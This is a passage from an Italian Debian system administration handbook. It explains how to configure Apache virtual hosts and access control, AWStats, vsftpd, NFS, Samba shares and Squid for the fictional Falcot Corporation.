SSLCertificateFile /etc/letsencrypt/live/DOMAIN/fullchain.pem SSLCertificateKeyFile /etc/letsencrypt/live/DOMAIN/privkey.pem SSLCertificateChainFile /etc/letsencrypt/live/DOMAIN/chain.pem SSLCACertificateFile /etc/ssl/certs/ca-certificates.crt

Qualche accortezza in più deve essere presa se si vuole permettere connessioni SSL con Perfect Forward Secrecy (queste connessioni utilizzano chiavi di sessione effimere assicurando così che la compromissione della chiave segreta del server con comporti anche la compromissione del traffico di dati criptato, precedentemente effettuato, che potrebbe essere stato memorizzato durante lo sniffing sulla rete). Dare un'occhiata alle raccomandazioni Mozilla, in particolare:

→ https://wiki.mozilla.org/Security/Server_Side_TLS#Apache

In alternativa al modulo SSL standard, esiste il modulo mod_gnutls, fornito con il pacchetto libapache2-mod-gnutls ed abilitato con il comando a2enmod gnutls. Sfortunatamente, la versione pacchettizzata per Debian, aveva seri problemi ed implicazioni di sicurezza e pertanto non fa parte del rilascio di Debian Bullseye.

→ https://mod.gnutls.org/

11.2.3. Configurare gli host virtuali

Un host virtuale è una identità aggiuntiva per il server web.

Apache considera due tipologie differenti di host virtuali: quelli che sono basati sull'indirizzo IP (o sulla porta) e quelli che si affidano al nome di dominio del server web. Il primo metodo richiede di allocare indirizzi IP (o porte) differenti per ogni sito, mentre il secondo metodo può funzionare con un singolo IP (ed una sola porta) e i siti vengono differenziati dal nome host inviato dal client HTTP (cosa che funziona unicamente con la versione 1.1 del protocollo HTTP che comunque è fortunatamente abbastanza vecchia da essere attualmente utilizzata su tutti i client).

La (crescente) carenza di indirizzi IPv4 favorisce in genere il secondo metodo anche se questo è reso più complesso qualora gli host virtuali necessitino di fornire anche HTTPS poiché il protocollo SSL non è sempre disponibile in caso di host virtuali basati sul nome. L'estensione SNI (Server Name Indication) che permette questo genere di combinazione non è supportata da tutti i browser. Quando più siti HTTPS necessitano di girare sullo stesso server vengono spesso differenziati utilizzando una porta o un indirizzo IP differente (IPv6 in questo caso può essere d'aiuto).

La configurazione predefinita per Apache 2 abilita gli host virtuali basati sul nome. Inoltre, è definito un host virtuale predefinito nel file /etc/apache2/sites-enabled/000-default.conf: questo host virtuale viene utilizzato qualora non venga trovato alcun host che corrisponde alla richiesta inviata dal client.

ATTENZIONE Il primo host virtuale

Le richieste che riguardano host virtuali sconosciuti sono sempre servite dal primo host virtuale definito: ecco perché abbiamo definito www.falcot.com per primo.

SGUARDO VELOCE Apache supporta SNI

Il server Apache supporta un'estensione del protocollo SSL chiamata Server Name Indication (SNI). Questa estensione permette al browser di inviare il nome host del server web durante l'avvio di una connessione SSL, cioè molto prima della stessa richiesta HTTP, che veniva precedentemente utilizzata per identificare l'host virtuale richiesto tra quelli ospitati sullo stesso server (con lo stesso indirizzo IP e la stessa porta). Questo permette ad Apache di selezionare il certificato SSL più appropriato per la connessione da stabilire.

Prima di SNI, Apache avrebbe sempre utilizzato il certificato definito nell'host virtuale predefinito. I client che tentavano di accedere ad un altro host virtuale visualizzavano degli avvertimenti poiché il certificato ricevuto non corrispondeva al sito web a cui avevano tentato di accedere. Fortunatamente oggi la maggior parte dei browser supportano SNI: tra questi Microsoft Internet Explorer a partire dalla versione 7.0 (iniziando da Vista), Mozilla Firefox dalla versione 2.0, Apple Safari dalla versione 3.2.1 e Google Chrome in tutte le sue versioni.

Il pacchetto Apache fornito in Debian è costruito con il supporto per SNI; non è quindi necessaria alcuna configurazione particolare.

Ogni host virtuale aggiuntivo viene descritto da un file conservato in /etc/apache2/sites-available/. Quindi impostare un sito web per il dominio falcot.org richiede semplicemente la creazione del file seguente e l'abilitazione dell'host virtuale con a2ensite www.falcot.org.

Esempio 11.13. Il file /etc/apache2/sites-available/www.falcot.org.conf

<VirtualHost *:80> ServerName www.falcot.org ServerAlias falcot.org DocumentRoot /srv/www/www.falcot.org </VirtualHost>

Il server Apache, configurato come visto, utilizza gli stessi file di log per tutti gli host virtuali (anche se questo può essere modificato inserendo direttive CustomLog nelle definizioni degli host virtuali). Questo è un buon motivo per personalizzare il formato di questo file di log perché includa il nome dell'host virtuale. Questo può essere fatto creando un file /etc/apache2/conf-available/customlog.conf che definisce un nuovo formato per tutti i file di log (con la direttiva LogFormat) ed abilitandolo con a2enconf customlog. La riga CustomLog dev'essere quindi rimossa (o commentata) dal file /etc/apache2/sites-available/000-default.conf.

Esempio 11.14. Il file /etc/apache2/conf-available/customlog.conf

# Nuovo formato di log che include il nome dell'host (virtuale) LogFormat "%v %h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\"" vhost # Quindi utilizziamo questo formato "vhost" in via predefinita CustomLog /var/log/apache2/access.log vhost

11.2.4. Direttive comuni

Questa sezione esamina brevemente alcune delle direttive di configurazione di uso comune di Apache.

Il file di configurazione principale include generalmente diversi blocchi Directory che consentono di specificare diversi comportamenti per il server in base alla posizione del file che dev'essere servito. Un blocco generalmente include le direttive Options e AllowOverride.

Esempio 11.15. Blocco Directory

<Directory /srv/www> Options Includes FollowSymlinks AllowOverride All DirectoryIndex index.php index.html index.htm </Directory>

La direttiva DirectoryIndex contiene una lista di file da provare quando la richiesta del client corrisponde ad una directory. Il primo file nella lista che esiste viene inviato come risposta.

La direttiva Options è seguita da una lista di opzioni da abilitare. Il valore None disabilita tutte le opzioni; così come, All le abilita tutte ad eccezione di MultiViews. Le opzioni disponibili includono:

ExecCGI indica che gli script CGI possono essere eseguiti.

FollowSymlinks indica al server che i collegamenti simbolici possono essere seguiti e che la risposta deve contenere il contenuto della destinazione di tali collegamenti.

SymlinksIfOwnerMatch indica al server di seguire i collegamenti simbolici, ma solo quando il collegamento e la sua destinazione hanno lo stesso proprietario.

Includes abilita Server Side Includes (SSI in breve). Si tratta di direttive incorporate nelle pagine HTML ed eseguite al volo per ogni richiesta.

IncludesNOEXEC permette Server Side Includes (SSI) ma disabilita il comando exec e limita la direttiva include ai file di testo/markup.

Indexes indica al server di elencare il contenuto di una directory se la richiesta HTTP inviata dal client punta ad una directory senza file di indice (cioè, quando in questa directory non esiste alcun file menzionato dalla direttiva DirectoryIndex ).

MultiViews consente la negoziazione dei contenuti; può essere utilizzata dal server per restituire una pagina web corrispondente alla lingua preferita configurata nel browser.

FONDAMENTALE il file .htaccess

Il file .htaccess contiene direttive di configurazione Apache da applicare ogni volta che una richiesta riguarda un elemento della directory dov'è contenuto. Il campo d'applicazione di queste direttive riguarda ricorsivamente anche tutte le sottodirectory al suo interno.

La maggior parte delle direttive che possono apparire in un blocco Directory sono anche permesse in un file .htaccess.

La direttiva AllowOverride elenca tutte le opzioni che possono essere abilitate o disabilitate attraverso un file .htaccess. Un utilizzo comune di questa opzione riguarda la limitazione di ExecCGI per permettere all'amministratore di scegliere quali utenti sono autorizzati ad eseguire programmi con l'identità del server web (l'utente www-data).

11.2.4.1. Richiedere un'autenticazione

In alcune circostanze, l'accesso a parte dei contenuti di un sito web deve essere ristretto, così che solo ai utenti legittimi che forniscono un nome utente ed una password venga garantito l'accesso ai contenuti. Queste funzionalità sono fornite dai moduli mod_auth*.

Esempio 11.16. Richiedere l'autenticazione con un file .htaccess

Require valid-user AuthName "Directory privata" AuthType Basic AuthUserFile /etc/apache2/authfiles/htpasswd-private

SICUREZZA Nessuna sicurezza

Il sistema di autenticazione utilizzato nell'esempio visto in precedenza (Basic) fornisce una sicurezza minima poiché la password è inviata in chiaro (è semplicemente codificata in base64 che è una semplice codifica anziché un metodo di cifratura). Va inoltre sottolineato che anche i documenti "protetti" da questo meccanismo passano attraverso la rete in chiaro. Se la sicurezza è importante l'intera connessione HTTP dovrebbe essere cifrata con SSL.

Il file /etc/apache2/authfiles/htpasswd-private contiene una lista di utenti e password che sono generalmente manipolati con il comando htpasswd. Per esempio il seguente comando è utilizzato per aggiungere un utente o cambiare la sua password:

# htpasswd /etc/apache2/authfiles/htpasswd-private utente New password: Re-type new password: Adding password for user user

11.2.4.2. Limitare l'accesso

La direttiva Require controlla le restrizioni di accesso per una directory (e le sue sottodirectory, in modo ricorsivo).

→ https://httpd.apache.org/docs/2.4/howto/access.html

Può essere usata per limitare l'accesso in base a molti criteri; ci soffermeremo alla descrizione delle limitazioni di accesso in base all'indirizzo IP del client, ma possono essere apllicate politiche ancora più restrittive, in particolare quando più direttive Require sono combinate all'interno di un blocco RequireAll.

Esempio 11.17. Consenti solo dalla rete locale

Require ip 192.168.0.0/16

ALTERNATIVA Vecchia sintassi

La sintassi di Require è disponibile solo in Apache 2.4 (la versione disponibile a partire da Jessie). Per gli utenti di Wheezy, la sintassi per Apache 2.2 è differente e qui la descriviamo principalmente per riferimento, anche se può anche essere resa disponibile in Apache 2.4 utilizzando il modulo mod_access_compact.

Le direttive Allow from e Deny from controllano le restrizioni di accesso ad una directory (e ricorsivamente, le sottodirectory).

La direttiva Order comunica al server l'ordine con cui le direttive Allow from e Deny from devono essere applicate: l'ultima che corrisponde ha la precedenza. In parole povere, Order deny,allow consente l'accesso se nessuna direttiva Deny from è soddisfatta oppure se lo è una direttiva Allow from. Al contrario Order allow,deny rifiuta l'accesso se nessuna direttiva Allow from è soddisfatta (oppure se lo è una direttiva Deny from).

Le direttive Allow from e Deny from possono essere seguite da un indirizzo IP, da una rete (come 192.168.0.0/255.255.255.0, 192.168.0.0/24 o anche 192.168.0), un nome host oppure un nome di dominio, o ancora dalla parola chiave all che indica tutti.

Ad esempio, per rifiutare di default le connessioni ma permetterle dalla rete locale, è possibile utilizzare questo:

Order deny,allow Allow from 192.168.0.0/16 Deny from all

11.2.5. Analizzatori di log

Nel server web viene spesso installato un analizzatore di log: quest'ultimo fornisce agli amministratori una idea precisa riguardo le modalità d'utilizzo cui è sottoposto.

Gli amministratori della Falcot Corporation hanno scelto AWStats (Advanced Web Statistics) per analizzare i loro file log di Apache.

Il primo passo per la configurazione è personalizzazione del file /etc/awstats/awstats.conf.Gli amministratori della Falcot lo mantengono così com'è modificando solo i parametri seguenti:

LogFile="/var/log/apache2/access.log" LogFormat = "%virtualname %host %other %logname %time1 %methodurl %code %bytesd %refererquot %uaquot" SiteDomain="www.falcot.com" HostAliases="falcot.com REGEX[^.*\.falcot\.com$]" DNSLookup=1 LoadPlugin="tooltips"

Tutti questi parametri sono documentati dai commenti nel file modello. In particolare i parametri LogFile e LogFormat descrivono la posizione ed il formato del file di log e le informazioni che contiene: SiteDomain e HostAliases elencano i vari nomi con cui il sito web principale viene indicato.

Per siti con molto traffico, DNSLookup non dovrebbe essere impostato a 1 ma per i siti minori, come quello della Falcot descritto in precedenza, questa impostazione permette di avere dei resoconti più leggibili che includono il nome completo delle macchine anziché il semplice indirizzo IP.

SICUREZZA Accesso alle statistiche

AWStats rende disponibili le sue statistiche sul sito web senza alcuna restrizione in via predefinita ma le restrizioni possono essere attivate così che solo pochi indirizzi IP (probabilmente interni) possano accedervi: la lista degli indirizzi IP autorizzati dev'essere definita nel parametro AllowAccessFromWebToFollowingIPAddresses

AWStats sarà anche attivato per gli altri host virtuali: ogni host virtuale richiede il proprio file di configurazione, come /etc/awstats/awstats.www.falcot.org.conf.

Esempio 11.18. File di configurazione di AWStats per un host virtuale

Include "/etc/awstats/awstats.conf" SiteDomain="www.falcot.org" HostAliases="falcot.org"

AWStats usa molte delle icone presenti nella directory /usr/share/awstats/icon/. Affinché queste icone siano disponibili sul sito web la configurazione di Apache dev'essere adattata per includere la seguente direttiva (per esempi più dettagliati vedere /usr/share/doc/awstats/examples/apache.conf):

Alias /awstats-icon/ /usr/share/awstats/icon/

Dopo qualche minuto (e una volta che lo script è stato eseguito qualche volta) i risultati saranno visibili online:

→ http://www.falcot.com/cgi-bin/awstats.pl

→ http://www.falcot.org/cgi-bin/awstats.pl

ATTENZIONE Rotazione dei file di log

Perché le statistiche prendano in considerazione tutti i log, deve essere eseguito AWStats subito prima che i file di log di Apache siano ruotati. Considerando la direttiva prerotate del file /etc/logrotate.d/apache2, questo è risolto dal pacchetto awstats tramite l'inserimento di uno script in /etc/logrotate.d/httpd-prerotate eseguendo /usr/share/awstats/tools/update.sh.

Notare inoltre che i file di log creati da logrotate devono essere leggibili da chiunque, specialmente da AWStats. Questo è garantito, ad esempio, modificando /etc/logrotate.d/apache2 in modo che includa create 644 root adm (invece dei permessi 640 predefiniti). Fare riferimento a /usr/share/doc/awstats/README.Debian.gz per una documentazione più esaustiva su questo aspetto e per alternative alla soluzione qui riportata.

11.3. Server di file FTP

FTP (File Transfer Protocol) è uno dei primi protocolli di Internet (la RFC 959 è stata rilasciata nel 1985!). È stato utilizzato per distribuire i file ancor prima che il Web nascesse (il protocollo HTTP è stato creato nel 1990 e formalmente definito nella sua versione 1.0 dalla RFC 1945 rilasciata nel 1996).

Questo protocollo consente sia caricamento che lo scaricamento di file: per questa ragione è ancora largamente utilizzato per rilasciare aggiornamenti ad un sito internet ospitato presso un servizio di provider Internet (o qualsiasi altra entità che ospita siti web). In questi casi l'accesso è permesso mediante l'uso di un identificativo utente ed una password. Dopo l'autenticazione il server FTP garantisce l'accesso in lettura e scrittura alla directory home dell'utente.

SICUREZZA FTP, FTPS e SFTP

L'FTP non è un protocollo sicuro. I nomi utente, le password ed i dati vengono trasmessi in chiaro. Per aumentare la sicurezza, si può usare l'FTP tramite SSL/TLS implicito (imposto) o esplicito (richiesto), noto anche come FTPS, da non confondere con SFTP, l'SSH File Transfer Protocol, un'implementazione alternativa di trasferimento di file che usa SSH. Molti server FTP presenti nei pacchetti Debian supportano FTPS.

Altri server FTP vengono impiegati principalmente per distribuire file scaricabili dal pubblico (i pacchetti di Debian sono un buon esempio). Il contenuto di questi server è recuperato da altri server lontani geograficamente che a loro volta rendono disponibili i file agli utenti a loro più prossimi. Questo significa che l'autenticazione del client non è richiesta: conseguentemente questa modalità operativa è conosciuta come "FTP anonimo". Per essere precisi i client si autenticano con il nome utente anonymous e spesso, per convenzione, la password impiegata è l'indirizzo email dell'utente, anche se il server lo ignora.

Molti server FTP sono disponibili in Debian (ftpd(-ssl), proftpd-basic, pure-ftpd e così via) e forniscono tutti il pacchetto virtuale ftp-server. Notare che il pacchetto pyftpd è stato rimosso da Debian poiché non è più mantenuto attivamente e perché è incompatibile con Python 3. Gli amministratori della Falcot Corporation hanno scelto vsftpd perché utilizzano il server FTP unicamente per distribuire alcuni file (incluso un repository dei pacchetti Debian); dato che non necessitano di funzionalità avanzate, hanno scelto di concentrarsi sugli aspetti di sicurezza.

Installando il pacchetto viene creato un utente di sistema ftp. Questo account viene utilizzato per le connessioni FTP anonime, e la sua directory home (/srv/ftp/) è la radice dell'albero reso disponibile agli utenti che si collegano al servizio. La configurazione predefinita (in /etc/vsftpd.conf) richiede alcune modifiche per soddisfare il semplice bisogno di rendere disponibili file di grandi dimensioni per il download pubblico: l'acesso anonimo deve essere abilitato (anonymous_enable=YES) e l'accesso in sola lettura degli utenti locali deve essere disattivato (local_enable=NO). Quest'ultima è particolarmente importante dal momento che il protocollo FTP non usa alcuna forma di crittografia e la password utente potrebbe essere intercettata.

È possibile accedere alle risorse FTP e FTPS con diversi client, con o senza interfaccia grafica, ed è anche possibile montarle localmente usando il comando curlftpfs dall'omonimo pacchetto.

11.4. Server di file NFS

NFS (Network File System (Filesystem di Rete)) è un protocollo che consente l'accesso remoto ad un filesystem attraverso la rete. Tutti i sistemi Unix possono utilizzare questo protocollo.

CASO SPECIFICO Microsoft Windows e condivisioni NFS

Quando si ha a che fare con vecchie versioni o con la (cosiddetta) versione "Home" di Windows, solitamente si usare Samba (Sezione 11.5, «Configurare condivisioni Windows con Samba») invece di NFS. Tuttavia, le moderne soluzioni Windows, Server e Desktop "Pro" o "Enterprise", dispongono di un supporto integrato per NFS. Dopo l'installazione dei componenti "Servizi per NFS", le condivisioni NFS potranno essere accessibili e montate, temporaneamente o permanentemente, come qualsiasi altra condivisione di rete. Attenzione ai possibili problemi di codifica dei nomi dei file.

In alternativa, Debian può essere installato su Windows 10 Pro e versioni successive. Richiede l'installazione del "Sottosistema Windows per Linux" (WSL) e dell'applicazione Debian dal Microsoft Store.

→ https://www.microsoft.com/en-us/p/debian/9msvkqc78pk6?

NFS è uno strumento molto utile ma, storicamente, ha sempre sofferto di molte limitazioni, la maggior parte delle quali sono state affrontate con la versione 4 del protocollo. Lo svantaggio è che l'ultima versione di NFS è più difficile da configurare quando si desidera fare uso di funzionalità di sicurezza di base come l'autenticazione e la crittografia di dati che si basa su Kerberos. E senza quelle, il protocollo NFS deve essere limitato a una rete locale fidata (trusted) in quanto i dati passano attraverso la rete in chiaro (una sniffer può intercettarli) ed i diritti di accesso sono concessi in base all'indirizzo IP del client (che può essere falsificato).

DOCUMENTAZIONE NFS HOWTO

Una buona documentazione per implementare NFSv4 è piuttosto scarsa. Ecco alcune indicazioni con contenuti di diversa qualità, ma che dovrebbero almeno dare alcuni suggerimenti su ciò che dovrebbe essere fatto.

→ https://help.ubuntu.com/community/NFSv4Howto

→ https://wiki.linux-nfs.org/wiki/index.php/Nfsv4_configuration

11.4.1. Mettere in sicurezza NFS

Se non si utilizzano le funzioni di sicurezza basate su Kerberos, è vitale assicurarsi che solo le macchine autorizzate all'uso di NFS possano connettersi ai vari server RPC richiesti, in quanto il protocollo di base si fida dei dati ricevuti dalla rete. Il firewall deve inoltre bloccare l'IP spoofing per prevenire che macchine esterne possano agire come una interna, e limitare l'accesso alle porte appropriate alle solo macchine che devono accedere alle condivisioni NFS.

FONDAMENTALE RPC

RPC (Remote Procedure Call) è uno standard Unix per i servizi remoti. NFS è uno di questi servizi.

I servizi RPC si registrano in una directory conosciuta con il nome di portmapper. Un client che desidera eseguire una richiesta NFS contatta prima di tutto il portmapper (sulla porta 111, TCP o UDP) e chiede del server NFS: la risposta generalmente menziona la porta 2049 (quella predefinita per NFS). Non tutti i servizi RPC necessariamente usano una porta fissa.

Le vecchie versioni del protocollo richiedono altri servizi RPC che usano porte assegnate dinamicamente. Fortunatamente, con NFS versione 4, sono necessarie solo porta 2049 (per NFS) e 111 (per il portmapper) e sono quindi facili da filtrare sul firewall.

11.4.2. Server NFS

Il server NFS è parte del kernel Linux: nei kernel forniti da Debian è compilato come modulo. Se il server NFS è eseguito automaticamente all'avvio il pacchetto nfs-kernel-server dev'essere installato poiché contiene gli script di avvio necessari.

I file di configurazione del server NFS, /etc/exports e /etc/exports.d/, elencano le directory che vengono rese disponibili sulla rete (esportate). Per ogni condivisione NFS l'accesso è garantito solo alla lista di macchine fornita. Un controllo degli accessi più accurato può essere ottenuto con qualche opzione. La sintassi di questi file è piuttosto semplice:

/directory/da/condividere macchina1(opzione1,opzione2,...) macchina2(...) ...

Si noti che con NFSv4, tutte le directory esportate devono essere parte di un unica gerarchia e che la directory radice di quella gerarchia deve essere esportata e identificata con l'opzione fsid=0 oppure fsid=root.

Ogni macchina può essere identificata sia dal suo nome DNS che dal suo IP. È anche possibile specificare un intero insieme di macchine utilizzando una sintassi come *.falcot.com o un intervallo di indirizzi IP come 192.168.0.0/255.255.255.0 o 192.168.0.0/24.

Le directory sono rese disponibili in sola lettura in via predefinita (o con l'opzione ro). L'opzione rw permette l'accesso in lettura e scrittura. I client NFS si connettono tipicamente da una porta riservata a root (in altre parole inferiore a 1024): questa restrizione può essere sospesa con l'opzione insecure (l'opzione secure è implicita ma può essere resa esplicita, se necessario, per rendere le cose più chiare).

Per impostazione predefinita il server risponde ad una richiesta NFS unicamente quando l'operazione corrente sul disco è completata (opzione sync); questo comportamento può essere disabilitato con l'opzione async. La scrittura asincrona può aumentare un po' le prestazioni, ma diminuisce l'affidabilità poiché c'è il rischio di perdere dati nel caso in cui il server subisca un crash tra la conferma di scrittura e la reale scrittura sul disco. Poiché il valore predefinito è cambiato recentemente (rispetto al valore storico di NFS), si raccomanda di rendere esplicita questa impostazione.

Per non fornire l'accesso come root al file system, tutte le richieste dei client NFS sono considerate dal server come provenienti dall'utente nobody. Questo comportamento equivale ad utilizzare l'opzione root_squash abilitata di default. L'opzione no_root_squash, che disabilita questo comportamento, è rischiosa e dovrebbe essere usata solo in ambienti sicuri. Se tutti gli utenti devono essere visti come nobody, allora usare all_squash. Le opzioni anonuid=uid e anongid=gid permettono di specificare un altro utente fittizio da utilizzare al posto di UID/GID 65534 (che corrisponde all'utente nobody ed al gruppo nogroup).

Con NFSv4, è possibile aggiungere l'opzione sec per indicare il livello di protezione desiderato: sec=sys è l'impostazione predefinita senza particolari caratteristiche di sicurezza, sec=krb5 abilita solo l'autenticazione, sec=krb5i aggiunge protezione di integrità, e sec=krb5p è il livello più completo che comprende la tutela della privacy (con crittografia dei dati). Per questo lavoro bisogna lavorare alla configurazione di Kerberos (questo servizio non è coperto da questo libro).

Sono disponibili altre opzioni: sono documentate nella pagina di manuale exports(5).

ATTENZIONE Prima installazione

Dopo l'installazione iniziale, il file /etc/exports non elenca alcuna condivisione NFS valida. Una volta modificato questo file, o qualsiasi altro file in /etc/exports.d/, il server NFS dovrà essere riavviato con uno dei seguenti comandi:

# exportfs -ra

# service nfs-kernel-server start

11.4.3. Client NFS

Come per altri file system, l'integrazione di una condivisione NFS nella gerarchia del sistema richiede il montaggio (ed il pacchetto nfs-common ). Poiché questo file system ha le sue peculiarità, sono richieste alcune modifiche alla sintassi del comando mount e al file /etc/fstab.

Esempio 11.19. Montare manualmente con il comando mount

# mount -t nfs4 -o rw,nosuid arrakis.internal.falcot.com:/shared /srv/shared

Esempio 11.20. Condivisione NFS nel file /etc/fstab

arrakis.internal.falcot.com:/shared /srv/shared nfs4 rw,nosuid 0 0

La voce sopra descritta monta, all'avvio del sistema, la directory NFS /shared/ dal server arrakis nella directory locale /srv/shared/. È richiesto l'accesso in lettura e scrittura (da qui il parametro rw ). L'opzione nosuid è una misura di protezione che cancella qualsiasi bit setuid o setgid dai programmi memorizzati sulla condivisione. Se la condivisione NFS è destinata alla sola memorizzazione di documenti, un'altra opzione consigliata è noexec, che impedisce l'esecuzione dei programmi memorizzati sulla condivisione. Si noti che sul server, la directory shared non è una directory di primo livello ma si trova sotto la root export NFSv4 (ad esempio /export/shared).

La pagina di manuale nfs(5) descrive tutte le opzioni dettagliatamente.

11.5. Configurare condivisioni Windows con Samba

Samba è una raccolta di strumenti per gestire il protocollo SMB (chiamato anche "CIFS") su Linux. Questo protocollo è utilizzato da Windows per le condivisioni di rete e le stampanti condivise.

Samba può anche agire da controller di dominio Windows. Questo è uno strumento eccezionale per garantire una perfetta integrazione tra i server Linux e le macchine desktop dell'ufficio che eseguono ancora Windows.

11.5.1. Server Samba

Il pacchetto samba contiene i due server principali di Samba 4, smbd e nmbd.

DOCUMENTAZIONE Andiamo oltre

Il server Samba è estremamente configurabile e può assolvere un gran numero di compiti che soddisfano diverse esigenze ed architetture di rete molto diverse tra loro. Questo libro si concentra solo sul caso in cui Samba viene utilizzato come server singolo, ma può anche essere un controller di dominio NT4, un controller di dominio Active Directory completo od un semplice membro di un dominio esistente (che potrebbe essere gestito da un server Windows).

Il pacchetto samba contiene tutte le pagine di manuale necessarie e, in /usr/share/doc/samba/examples/, una grande quantità di file di esempio commentati. Per una documentazione più completa, si può fare riferimento al sito Samba.

→ https://www.samba.org/samba/docs/

STRUMENTO Autenticarsi con un Server Windows

Winbind fornisce agli amministratori di sistema l'opzione per utilizzare un server Windows NT come server d'autenticazione. Inoltre Winbind si integra bene con PAM e NSS. Questo permette di configurare postazioni Linux dove tutti gli utenti di un dominio Windows ottengono automaticamente un account.

Maggiori informazioni si trovano nella directory /usr/share/doc/libpam-winbind/examples/pam_winbind/ del pacchetto libpam-winbind.

11.5.1.1. Configurare con debconf

Durante l'installazione iniziale, il pacchetto imposta una configurazione minima in /etc/samba/smb.conf copiando semplicemente /usr/share/samba/smb.conf. Per questo motivo è consigliabile eseguire dpkg-reconfigure samba-common ed adattarlo:

Alla prima installazione l'unica informazione richiesta è il nome del gruppo di lavoro a cui apparterrà il server Samba (nel nostro caso la risposta è FALCOTNET ).

In caso di aggiornamento del pacchetto (dalla vecchia versione stabile di Debian) o se il server SMB è già stato configurato per utilizzare un server WINS (wins server), il pacchetto propone anche di identificare il server WINS dalle informazioni fornite dal demone DHCP. Gli amministratori di Falcot Corp non hanno impostato questa opzione, poiché intendono utilizzare il server Samba stesso come server WINS.

11.5.1.2. Configurazione manuale

11.5.1.2.1. Modifiche a smb.conf

Le necessità della Falcot richiedono che altre opzioni siano modificate nel file di configurazione /etc/samba/smb.conf. Gli estratti seguenti riassumono le modifiche applicate alla sezione [global].

[...] [global] ## Browsing/Identification ### # Change this to the workgroup/NT-domain name your Samba server will part of workgroup = FALCOTNET [...] # Windows Internet Name Serving Support Section: # WINS Support - Tells the NMBD component of Samba to enable its WINS Server wins support = yes [...] ####### Authentication ####### # Server role. Defines in which mode Samba will operate. Possible # values are "standalone server", "member server", "classic primary # domain controller", "classic backup domain controller", "active # directory domain controller". # # Most people will want "standalone server" or "member server". # Running as "active directory domain controller" will require first # running "samba-tool domain provision" to wipe databases and create a # new domain. server role = standalone server obey pam restrictions = yes [...] # "security = user" is always a good idea. This will require a Unix account # in this server for every user accessing the server. security = user [...]

Indica che Samba deve agire come server di nomi Netbios (WINS) per la rete locale. Quest'opzione è stata rimossa dalla configurazione predefinita in Buster e, se necessaria, dev'essere aggiunta manualmente.

Questo è il valore predefinito per questo parametro. Ad ogni modo, poiché è un punto chiave per la configurazione di Samba, è raccomandato indicare esplicitamente la propria scelta. Ogni utente deve autenticarsi prima di accedere a qualsiasi condivisione.

11.5.1.2.2. Aggiungere utenti

Ogni utente Samba necessita di un account sul server. L'account Unix dev'essere creato per primo, quindi l'utente dev'essere registrato nel database di Samba. La creazione dell'account Unix viene eseguita normalmente (utilizzando per esempio adduser).

Un utente esistente viene aggiunto al database di Samba con il comando smbpasswd -a utente: questo comando chiede di inserire la password in modalità interattiva.

Un utente può essere cancellato con il comando smbpasswd -x utente. Un account Samba può anche essere disabilitato temporaneamente con smbpasswd -d utente ed essere riabilitato in seguito con smbpasswd -e utente.

11.5.2. Client Samba

Le funzionalità client in Samba permettono ad una macchina Linux di accedere alle condivisioni Windows ed alle stampanti condivise. I programmi richiesti sono disponibili nei pacchetti cifs-utils e smbclient.

11.5.2.1. Il programma smbclient

Il programma smbclient interroga i server SMB. Accetta una opzione -U utente per connettersi al server attraverso una specifica identità. smbclient //server/condivisione accede alla condivisione con una modalità interattiva simile alla riga di comando dei client FTP. smbclient -L server elenca tutte le condivisioni disponibili (e visibili) sul server.

11.5.2.2. Montare le condivisioni Windows

Il comando mount permette di montare una condivisione Windows all'interno della gerarchia di un filesystem Linux (con l'aiuto di mount.cifs fornito da cifs-utils).

Esempio 11.21. Montare una condivisione Windows

mount -t cifs //arrakis/shared /shared \ -o credentials=/etc/smb-credentials

Il file /etc/smb-credentials (che non dev'essere leggibile dagli utenti) ha il seguente formato:

username = utente password = password

Altre opzioni possono essere specificate dalla riga di comando. La lista completa è disponibile nella pagina di manuale smbmount(1). Due opzioni in particolare possono risultare interessanti: uid e gid consentono di forzare l'assegnazione del proprietario ed del gruppo dei file disponibili al mount, così da non limitare l'accesso a root.

Il montaggio (mount) di una condivisione Windows può anche essere configurato in /etc/fstab:

//server/shared /shared cifs credentials=/etc/smb-credentials

Lo smontaggio di una condivisione SMB/CIFS è fatto con il comando standard umount.

11.5.2.3. Stampare su una stampante condivisa

CUPS è una soluzione elegante per stampare da una workstation Linux su di una stampante condivisa da una macchina Windows. Quando il smbclient è installato, CUPS consente l'installazione automatica delle stampanti Windows condivise.

Seguono i passi richiesti:

Accesso all'interfaccia di configurazione di CUPS: http://localhost:631/admin

Clicca su "Add Printer".

Scegliere la stampante, selezionare “Windows Printer via SAMBA”.

Inserire l'URI per la stampante di rete. Dovrebbe essere simile al seguente:

smb://utente:password@server/stampante.

Inserire il nome che identificherà in modo univoco questa stampante. Quindi inserire la descrizione e la posizione della stampante. Queste sono le stringhe che verranno mostrate agli utenti finali per aiutarli ad identificare le stampanti.

Identificare il produttore/modello della stampante, ofornire direttamente un file di descrizione della stampante di lavoro (PPD).

Voilà, la stampante è operativa!

11.6. Proxy HTTP/FTP

Un proxy FTP/HTTP agisce come intermediario per connessioni HTTP o FTP. Il ruolo è duplice:

Cache: i documenti scaricati di recente sono copiati localmente, cosa che previene scaricamenti multipli.

Server di filtraggio: se l'utilizzo del proxy è obbligato (e le connessioni in uscita sono bloccate a meno che non transitino per il proxy) allora il proxy può determinare quando soddisfare o negare una richiesta.

La Falcot Corporation ha scelto Squid come server proxy.

11.6.1. Installazione

Il pacchetto squid di Debian contiene solo il proxy modulare (con funzione di cache). Trasformarlo in un server per il filtraggio richiede l'installazione del pacchetto addizionale squidguard. Inoltre, squid-cgi fornisce un'interfaccia di interrogazione ed amministrazione per un proxy Squid.

Prima dell'installazione bisogna accertarsi di controllare che il sistema possa identificarsi con il proprio nome completo: hostname -f deve restituire un nome pienamente qualificato (che include il dominio). Se così non è allora il file /etc/hosts dev'essere modificato per contenere il nome completo del sistema (per esempio, arrakis.falcot.com). Il nome ufficiale del computer dev'essere verificato con l'amministratore di rete per evitare potenziali conflitti di nome.

11.6.2. Configurare una cache

Per abilitare la funzione di cache del server è sufficiente modificare il file di configurazione /etc/squid/squid.conf e consentire alle macchine della rete locale di eseguire interrogazioni attraverso il proxy. Il seguente esempio mostra le modifiche apportate dagli amministratori di Falcot Corp:

Esempio 11.22. Il file /etc/squid/squid.conf (elementi)

# INSERT YOUR OWN RULE(S) HERE TO ALLOW ACCESS FROM YOUR CLIENTS # include /etc/squid/conf.d/* # Example rule allowing access from your local networks. # Adapt localnet in the ACL section to list your (internal) IP networks # from where browsing should be allowed acl our_networks src 192.168.1.0/24 192.168.2.0/24 http_access allow our_networks http_access allow localhost # And finally deny all other access to this proxy http_access deny all

11.6.3. Configurare un filtro

